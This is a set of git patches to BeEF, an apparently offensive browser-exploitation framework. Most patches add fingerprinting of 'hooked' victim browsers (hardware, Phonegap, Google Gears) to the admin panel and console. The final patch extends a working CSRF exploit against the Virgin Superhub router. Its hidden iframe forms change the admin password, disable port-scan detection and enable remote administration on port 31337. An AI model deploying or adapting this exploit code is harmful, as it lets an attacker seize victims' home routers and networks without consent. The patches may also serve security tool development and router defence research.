zBs9#R#}(~#afKx-^%DX&(xf1gKN3*$ha>)QMg<HyJb?grS@hEnCjEe73>GZ)vx6V}
z2;^oOVx)-x8N49*&lZvt;R;I!gp)uJ0wpns2}%s{1SC)JAchA2^fO8qMEJv7M47m-
z&Nq?N<p>ylm@tStztFSA9JH|iQ%5I0kkbfDL9F6I2_-~w2Pr5p>PV~pm_q;wB(UQ{
zpq^wTM>b=Wa?dz6gj0_SZaUGx5dyiO&JZL#q1s3+L;*n)W0WzA1PuA(1Rvb~qe&J+
zbQsMeX*@K|LM~Wv$r@<5p@tk84)kuk{usd|FZ9qr#tK<P6vhHQTylyE2LVyZ5&}tJ
zf(iNlrUMPBXy8w?2VsK22FxH+ut6Gg{ErcSsFGn_0UScZ5GA}^kS1ZQj6nu6kme5%
zHZ0N42zQ{sN>?uI0>&?g)bXi7bsgZq1~(|eLRUH+-Nq8rj8jQ7#ie1(9}UnG1dIex
z1cDYfERewg1s^?z1!|OnF^&w4*b|N);_R>(f&NUQOaV6(kO8*+{1C+eZqVVy2z%I&
z06MP}mr0!m=)<)Z*Yv}}B~{R2K_qSX?FHNsX;K^rTQ8uG2tD*r1;7KS(TG2qEM<@j
vwJ^SbGZkCR3hXR>-p>K=6tKYpiu?e!@Cjv7mjMnSGYRw9hcCYH0RaFzI3Jfs

literal 0
HcmV?d00001

diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index 964e586a4..6f7d02f50 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -28,6 +28,8 @@ var ZombiesMgr = function(zombies_tree_lists) {
 		var browser_icon    = zombie_array[index]["browser_icon"];
 		var os_icon         = zombie_array[index]["os_icon"];
 		var os_name         = zombie_array[index]["os_name"];
+		var hw_name         = zombie_array[index]["hw_name"];
+		var hw_icon         = zombie_array[index]["hw_icon"];
 		var domain          = zombie_array[index]["domain"];
 		var port            = zombie_array[index]["port"];
 		var has_flash       = zombie_array[index]["has_flash"];
@@ -36,11 +38,13 @@ var ZombiesMgr = function(zombies_tree_lists) {
 
 		text = "<img src='/ui/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
 		text+= "<img src='/ui/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
+		text+= "<img src='/ui/media/images/icons/"+escape(hw_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
 		text+= ip;
 
 		balloon_text = "IP: "+ip;
 		balloon_text+= "<br/>Browser: "     + browser_name + " " + browser_version;
 		balloon_text+= "<br/>System: "      + os_name;
+		balloon_text+= "<br/>Hardware: "    + hw_name;
 		balloon_text+= "<br/>Domain: "      + domain + ":" + port;
 		balloon_text+= "<br/>Flash: "       + has_flash;
 		balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb
index a896184cb..4251347cd 100644
--- a/extensions/console/lib/shellinterface.rb
+++ b/extensions/console/lib/shellinterface.rb
@@ -358,6 +358,21 @@ class ShellInterface
       summary_grid_hash['results'].push(page_name_row) # add the row
     end
 
+    # set and add the return values for the os name
+    hw_name = BD.get(self.targetsession, 'Hardware')
+    if not hw_name.nil?
+      encoded_hw_name = CGI.escapeHTML(hw_name)
+      encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
+
+      page_name_row = {
+        'category' => 'Host',
+        'data' => encoded_hw_name_hash,
+        'from' => 'Initialization'
+      }
+
+      summary_grid_hash['results'].push(page_name_row) # add the row
+    end
+
     # set and add the return values for the browser name
     browser_name = BD.get(self.targetsession, 'BrowserName') 
     if not browser_name.nil?

From d5acc6409eb73feff5ace32253d55147a4ff02df Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Mon, 25 Jun 2012 11:04:19 +0930
Subject: [PATCH 16/17] Added beef.browser.hasPhonegap()

Added hasPhonegap() and hasGooglegears() to balloon messages

Updated os in module configs from "iPhone" to "iOS"
---
 core/main/client/browser.js                   | 15 ++++++
 core/main/handlers/browserdetails.rb          |  8 ++++
 .../admin_ui/controllers/modules/modules.rb   | 15 ++++++
 .../admin_ui/controllers/panel/panel.rb       | 26 +++++-----
 .../media/javascript/ui/panel/ZombiesMgr.js   | 48 ++++++++++---------
 extensions/console/lib/shellinterface.rb      | 15 ++++++
 .../mobilesafari_address_spoofing/config.yaml |  2 +-
 .../host/detect_google_desktop/config.yaml    |  2 +-
 modules/host/get_system_info/config.yaml      |  2 +-
 modules/host/hook_default_browser/config.yaml |  2 +-
 modules/host/iphone_tel/config.yaml           |  2 +-
 11 files changed, 99 insertions(+), 38 deletions(-)

diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index 9a243aad4..2e82f5de6 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -551,6 +551,19 @@ beef.browser = {
 	
 	},
 
+	/**
+	 * Checks if the Phonegap API is available from the hooked domain.
+	 * @return: {Boolean} true or false.
+	 *
+	 * @example: if(beef.browser.hasJava()) { ... }
+	*/
+	hasPhonegap: function() {
+		var result = false;
+		try { if (!!device.phonegap) result = true; else result = false; }
+		catch(e) { result = false; }
+		return result;
+	},
+
 	/**
 	 * Checks if the zombie has Java installed and enabled.
 	 * @return: {Boolean} true or false.
@@ -773,6 +786,7 @@ beef.browser = {
 		var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No";
 		var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
 		var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
+		var has_phonegap = (beef.browser.hasPhonegap())? "Yes" : "No";
 		var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
 		var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No";
 		var has_activex = (typeof(window.ActiveXObject) != "undefined") ? "Yes":"No";
@@ -799,6 +813,7 @@ beef.browser = {
 		if(java_enabled) details['JavaEnabled'] = java_enabled;
 		if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
 		if(has_flash) details['HasFlash'] = has_flash
+		if(has_phonegap) details['HasPhonegap'] = has_phonegap
 		if(has_web_socket) details['HasWebSocket'] = has_web_socket
 		if(has_googlegears) details['HasGoogleGears'] = has_googlegears
 		if(has_activex) details['HasActiveX'] = has_activex;
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index 1ca83f165..9a5f27946 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -230,6 +230,14 @@ module BeEF
             self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
           end
 
+          # get and store the yes|no value for HasPhonegap
+          has_phonegap = get_param(@data['results'], 'HasPhonegap')
+          if BeEF::Filters.is_valid_yes_no?(has_phonegap)
+            BD.set(session_id, 'HasPhonegap', has_phonegap)
+          else
+            self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
+          end
+
           # get and store the yes|no value for HasGoogleGears
           has_googlegears = get_param(@data['results'], 'HasGoogleGears')
           if BeEF::Filters.is_valid_yes_no?(has_googlegears)
diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb
index 827f6c241..6fce2a02c 100644
--- a/extensions/admin_ui/controllers/modules/modules.rb
+++ b/extensions/admin_ui/controllers/modules/modules.rb
@@ -346,6 +346,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
       summary_grid_hash['results'].push(page_name_row) # add the row
     end
 
+    # set and add the yes|no value for hasPhonegap
+    has_phonegap = BD.get(zombie_session, 'hasPhonegap')
+    if not has_phonegap.nil?
+      encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
+      encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
+
+      page_name_row = {
+        'category' => 'Browser',
+        'data' => encoded_has_phonegap_hash,
+        'from' => 'Initialization'
+      }
+
+      summary_grid_hash['results'].push(page_name_row) # add the row
+    end
+
     # set and add the yes|no value for HasGoogleGears
     has_googlegears = BD.get(zombie_session, 'HasGoogleGears')
     if not has_googlegears.nil?
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index 56b6a708c..6c101681a 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -85,17 +85,19 @@ class Panel < BeEF::Extension::AdminUI::HttpController
   # create a hash of simple hooked browser details
   def get_simple_hooked_browser_hash(hooked_browser)
 
-    browser_name    = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
-	browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
-    browser_icon    = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
-    os_icon         = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
-    os_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
-    hw_icon         = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
-    hw_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
-    domain          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
-    has_flash       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
-    has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
-    date_stamp      = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+    browser_name     = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
+	browser_version  = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
+    browser_icon     = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
+    os_icon          = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
+    os_name          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+    hw_icon          = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
+    hw_name          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
+    domain           = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
+    has_flash        = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
+    has_web_sockets  = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
+	has_googlegears  = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
+	has_phonegap     = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasPhonegap')
+    date_stamp       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
 
     return {
       'session'         => hooked_browser.session,
@@ -111,6 +113,8 @@ class Panel < BeEF::Extension::AdminUI::HttpController
       'hw_name'         => hw_name,
       'has_flash'       => has_flash,
       'has_web_sockets' => has_web_sockets,
+      'has_googlegears' => has_googlegears,
+      'has_phonegap'    => has_phonegap,
       'date_stamp'      => date_stamp
     }
     
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index 6f7d02f50..e161c8209 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -21,34 +21,38 @@ var ZombiesMgr = function(zombies_tree_lists) {
 	// this is a helper class to create a zombie object from a JSON hash index
 	this.zombieFactory = function(index, zombie_array){
 
-		var ip              = zombie_array[index]["ip"];
-		var session         = zombie_array[index]["session"];
-		var browser_name    = zombie_array[index]["browser_name"];
-		var browser_version = zombie_array[index]["browser_version"];
-		var browser_icon    = zombie_array[index]["browser_icon"];
-		var os_icon         = zombie_array[index]["os_icon"];
-		var os_name         = zombie_array[index]["os_name"];
-		var hw_name         = zombie_array[index]["hw_name"];
-		var hw_icon         = zombie_array[index]["hw_icon"];
-		var domain          = zombie_array[index]["domain"];
-		var port            = zombie_array[index]["port"];
-		var has_flash       = zombie_array[index]["has_flash"];
-		var has_web_sockets = zombie_array[index]["has_web_sockets"];
-		var date_stamp      = zombie_array[index]["date_stamp"];
+		var ip                 = zombie_array[index]["ip"];
+		var session            = zombie_array[index]["session"];
+		var browser_name       = zombie_array[index]["browser_name"];
+		var browser_version    = zombie_array[index]["browser_version"];
+		var browser_icon       = zombie_array[index]["browser_icon"];
+		var os_icon            = zombie_array[index]["os_icon"];
+		var os_name            = zombie_array[index]["os_name"];
+		var hw_name            = zombie_array[index]["hw_name"];
+		var hw_icon            = zombie_array[index]["hw_icon"];
+		var domain             = zombie_array[index]["domain"];
+		var port               = zombie_array[index]["port"];
+		var has_flash          = zombie_array[index]["has_flash"];
+		var has_web_sockets    = zombie_array[index]["has_web_sockets"];
+		var has_googlegears    = zombie_array[index]["has_googlegears"];
+		var has_phonegap       = zombie_array[index]["has_phonegap"];
+		var date_stamp         = zombie_array[index]["date_stamp"];
 
 		text = "<img src='/ui/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
 		text+= "<img src='/ui/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
 		text+= "<img src='/ui/media/images/icons/"+escape(hw_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
 		text+= ip;
 
-		balloon_text = "IP: "+ip;
-		balloon_text+= "<br/>Browser: "     + browser_name + " " + browser_version;
-		balloon_text+= "<br/>System: "      + os_name;
-		balloon_text+= "<br/>Hardware: "    + hw_name;
-		balloon_text+= "<br/>Domain: "      + domain + ":" + port;
-		balloon_text+= "<br/>Flash: "       + has_flash;
-		balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
-		balloon_text+= "<br/>Date: "        + date_stamp;
+		balloon_text = "IP: "                  + ip;
+		balloon_text+= "<br/>Browser: "        + browser_name + " " + browser_version;
+		balloon_text+= "<br/>System: "         + os_name;
+		balloon_text+= "<br/>Hardware: "       + hw_name;
+		balloon_text+= "<br/>Domain: "         + domain + ":" + port;
+		balloon_text+= "<br/>Flash: "          + has_flash;
+		balloon_text+= "<br/>Web Sockets: "    + has_web_sockets;
+		balloon_text+= "<br/>Google Gears: "   + has_googlegears;
+		balloon_text+= "<br/>Phonegap API: "   + has_phonegap;
+		balloon_text+= "<br/>Date: "           + date_stamp;
 		
 		var new_zombie = {
 			'id'           : index,
diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb
index 4251347cd..f810c042e 100644
--- a/extensions/console/lib/shellinterface.rb
+++ b/extensions/console/lib/shellinterface.rb
@@ -550,6 +550,21 @@ class ShellInterface
       summary_grid_hash['results'].push(page_name_row) # add the row
     end
 
+    # set and add the yes|no value for HasPhonegap
+    has_phonegap = BD.get(self.targetsession, 'HasPhonegap')
+    if not has_phonegap.nil?
+      encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
+      encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
+
+      page_name_row = {
+        'category' => 'Browser',
+        'data' => encoded_has_phonegap_hash,
+        'from' => 'Initialization'
+      }
+
+      summary_grid_hash['results'].push(page_name_row) # add the row
+    end
+
     # set and add the yes|no value for HasGoogleGears
     has_googlegears = BD.get(self.targetsession, 'HasGoogleGears')
     if not has_googlegears.nil?
diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml
index b4a20fe33..3aa49f32f 100644
--- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml
+++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml
@@ -24,7 +24,7 @@ beef:
             target:
                 working:
                     S:
-                        os: ["iPhone"]
+                        os: ["iOS"]
                 not_working:
                     ALL:
                         os: ["All"]
diff --git a/modules/host/detect_google_desktop/config.yaml b/modules/host/detect_google_desktop/config.yaml
index 4a0d23f18..ba611bf45 100644
--- a/modules/host/detect_google_desktop/config.yaml
+++ b/modules/host/detect_google_desktop/config.yaml
@@ -24,5 +24,5 @@ beef:
             target:
                 not_working:
                     ALL:
-                        os: ["iPhone"]
+                        os: ["iOS"]
                 working: ["ALL"]
diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml
index 802db1695..7902a2381 100644
--- a/modules/host/get_system_info/config.yaml
+++ b/modules/host/get_system_info/config.yaml
@@ -24,6 +24,6 @@ beef:
             target:
                 not_working:
                     ALL:
-                        os: ["iPhone", "Macintosh"]
+                        os: ["iOS", "Macintosh"]
                 working: ["O", "FF", "S", "IE"]
                 user_notify: ["C"]
diff --git a/modules/host/hook_default_browser/config.yaml b/modules/host/hook_default_browser/config.yaml
index 0033717ba..56c276653 100644
--- a/modules/host/hook_default_browser/config.yaml
+++ b/modules/host/hook_default_browser/config.yaml
@@ -24,6 +24,6 @@ beef:
             target:
                 not_working:
                     ALL:
-                        os: ["iPhone"]
+                        os: ["iOS"]
                 working: ["All"]
                 user_notify: ["FF", "C"]
diff --git a/modules/host/iphone_tel/config.yaml b/modules/host/iphone_tel/config.yaml
index d3bb15769..783637ed4 100644
--- a/modules/host/iphone_tel/config.yaml
+++ b/modules/host/iphone_tel/config.yaml
@@ -24,7 +24,7 @@ beef:
             target:
                 user_notify:
                     S:
-                        os: ["iPhone"]
+                        os: ["iOS"]
                 not_working:
                     ALL:
                         os: ["All"]

From 123b81b2b47ce59c45d6e59e489b342b85a70a77 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Mon, 25 Jun 2012 11:18:28 +0930
Subject: [PATCH 17/17] Updated virgin_superhub_csrf module

Now disables firewall and enabled remote administration

Fixes issue #705
Fixes issue #706
Fixes issue #707
---
 .../router/virgin_superhub_csrf/command.js     | 18 +++++++++++++++---
 .../router/virgin_superhub_csrf/config.yaml    |  2 +-
 .../router/virgin_superhub_csrf/module.rb      |  3 ++-
 3 files changed, 18 insertions(+), 5 deletions(-)

diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js
index 3c84ee315..fb0ed4ca4 100644
--- a/modules/exploits/router/virgin_superhub_csrf/command.js
+++ b/modules/exploits/router/virgin_superhub_csrf/command.js
@@ -17,17 +17,29 @@ beef.execute(function() {
 
 	var gateway = '<%= @base %>'; 
 	var passwd  = '<%= @password %>';
+	var port    = '<%= @port %>';
 
-	var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [
-		{'type':'hidden', 'name':'NetgearPassword', 'value':passwd} ,
+	var virgin_superhub_iframe1 = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [
+		{'type':'hidden', 'name':'NetgearPassword', 'value':passwd},
 		{'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd},
 		{'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'}
 	]);
 
+	var virgin_superhub_iframe2 = beef.dom.createIframeXsrfForm(gateway + "goform/RgServices", "POST", [
+		{'type':'hidden', 'name':'cbPortScanDetection', 'value':''}
+	]);
+
+	var virgin_superhub_iframe3 = beef.dom.createIframeXsrfForm(gateway + "goform/RgVMRemoteManagementRes", "POST", [
+		{'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'},
+		{'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port}
+	]);
+
 	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
 
 	cleanup = function() {
-		document.body.removeChild(virgin_superhub_iframe);
+		document.body.removeChild(virgin_superhub_iframe1);
+		document.body.removeChild(virgin_superhub_iframe2);
+		document.body.removeChild(virgin_superhub_iframe3);
 	}
 	setTimeout("cleanup()", 15000);
 
diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml
index 8d7a7a3c9..e767d9fef 100644
--- a/modules/exploits/router/virgin_superhub_csrf/config.yaml
+++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml
@@ -19,7 +19,7 @@ beef:
             enable: true
             category: ["Exploits", "Router"]
             name: "Virgin Superhub CSRF"
-            description: "Attempts to change the admin password on a Virgin Superhub router."
+            description: "Attempts to enable remote administration, disable the firewall, and change the admin password on a Virgin Superhub router."
             authors: ["bcoles", "n0x00"]
             target:
                 working: ["ALL"]
diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb
index 28684484d..83599490c 100644
--- a/modules/exploits/router/virgin_superhub_csrf/module.rb
+++ b/modules/exploits/router/virgin_superhub_csrf/module.rb
@@ -18,7 +18,8 @@ class Virgin_superhub_csrf < BeEF::Core::Command
 	def self.options
 		return [
 			{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/'}, 
-			{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
+			{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'},
+			{'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}
 		]
 	end